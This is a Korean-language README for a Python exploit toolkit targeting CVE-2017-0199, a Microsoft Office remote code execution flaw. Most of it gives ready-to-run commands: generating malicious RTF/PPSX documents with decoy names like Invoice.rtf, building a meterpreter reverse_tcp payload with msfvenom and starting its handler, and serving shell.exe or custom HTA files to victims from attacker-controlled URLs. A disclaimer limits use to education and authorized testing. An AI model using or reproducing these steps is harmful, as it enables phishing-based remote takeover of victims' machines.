phantomlancer123/cve-2017-0199CVE-2017-0199 (Microsoft Office RCE)를 대상으로 하는 Python 기반 익스플로잇 툴킷으로, 악성 RTF/PPSX 파일을 생성하고 Metasploit 또는 커스텀 페이로드를 피해자에게 전달합니다.
Exploit toolkit CVE-2017-0199 - v4.0은 침투 테스터와 보안 연구원이 Microsoft Office RCE를 신속하고 효과적으로 테스트할 수 있는 편리한 Python 스크립트입니다. 복잡한 구성 없이 악성 RTF/PPSX 파일을 생성하고 metasploit / meterpreter / 기타 페이로드를 피해자에게 전달할 수 있습니다.
이 프로그램은 교육 목적으로만 사용됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(bhdresh)는 이 프로그램의 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 모든 손해에 대해 책임을 지지 않습니다. 저자나 인터넷 제공자는 이 프로그램 또는 파생물의 콘텐츠나 오용에 대해 전혀 책임을 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인한 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 bhdresh의 책임이 아님을 인정합니다.
마지막으로, 이는 개인 개발물이므로 철학을 존중하고 나쁜 목적으로 사용하지 마십시오!
CC BY 4.0 라이선스 - https://creativecommons.org/licenses/by/4.0/
스크립트에 다음 기능이 추가되었습니다.
- 악성 PPSX 파일 생성
- 생성된 PPSX 파일에 대한 익스플로잇 모드
- 업데이트된 template.ppsx
버전: Python 2.7.13
1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (선택 사항, MSF 페이로드 사용 시) : metasploit 페이로드 생성 및 핸들러 시작
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 익스플로잇 모드로 툴킷 시작하여 로컬 페이로드 전달
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) 익스플로잇 모드로 툴킷 시작하여 원격 페이로드 전달
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe
1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) 익스플로잇 모드로 툴킷 시작하여 사용자 정의 HTA 파일 전달
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta
# python cve-2017-0199_toolkit.py -h
CVE-2017-0199 (Microsoft Office RCE) 익스플로잇을 위한 편리한 툴킷입니다.
모드:
-M gen 악성 파일만 생성
악성 RTF/PPSX 파일 생성:
-w <Filename.rtf/Filename.ppsx> 악성 RTF/PPSX 파일의 이름 (이 파일을 피해자와 공유).
-u <http://attacker.com/test.hta> HTA/SCT 파일의 경로. 일반적으로 이 툴이 실행되는 도메인 또는 IP여야 합니다.
예: http://attackerip.com/test.doc (이 URL은 악성 RTF/PPSX 파일에 포함되며, 피해자가 악성 RTF 파일을 열면 요청됩니다.)
-t RTF|PPSX (기본값 = RTF) 생성할 파일 유형.
-x 0|1 (기본값 = 0) 난독화된 RTF 파일 생성. 0 = 비활성화, 1 = 활성화.
-M exp 익스플로잇 모드 시작
익스플로잇:
-t RTF|PPSX (기본값 = RTF) 익스플로잇할 파일 유형.
-H </tmp/custom> 대상에서 전달 및 실행할 사용자 정의 HTA/SCT 파일의 로컬 경로.
참고: 이 옵션은 "-e" 및 "-l" 옵션을 통해 지정된 페이로드를 전달하지 않습니다.
-p <TCP port:기본값 80> 로컬 포트 번호.
-e <http://attacker.com/shell.exe> 대상에서 실행할 실행 파일 / meterpreter 셸 / 페이로드의 경로.
-l </tmp/shell.exe> 페이로드가 로컬에 호스팅된 경우, 실행 파일 / meterpreter 셸 / 페이로드의 로컬 경로 지정.
RTF 샘플 제공: @nixawk, @Li Haifei, @bhdresh
물론 저는 풀타임 개발자가 아니므로 약간의 문제가 있을 수 있습니다.
버그 및 문제는 https://github.com/bhdresh/CVE-2017-0199/issues/new 에서 보고해 주십시오.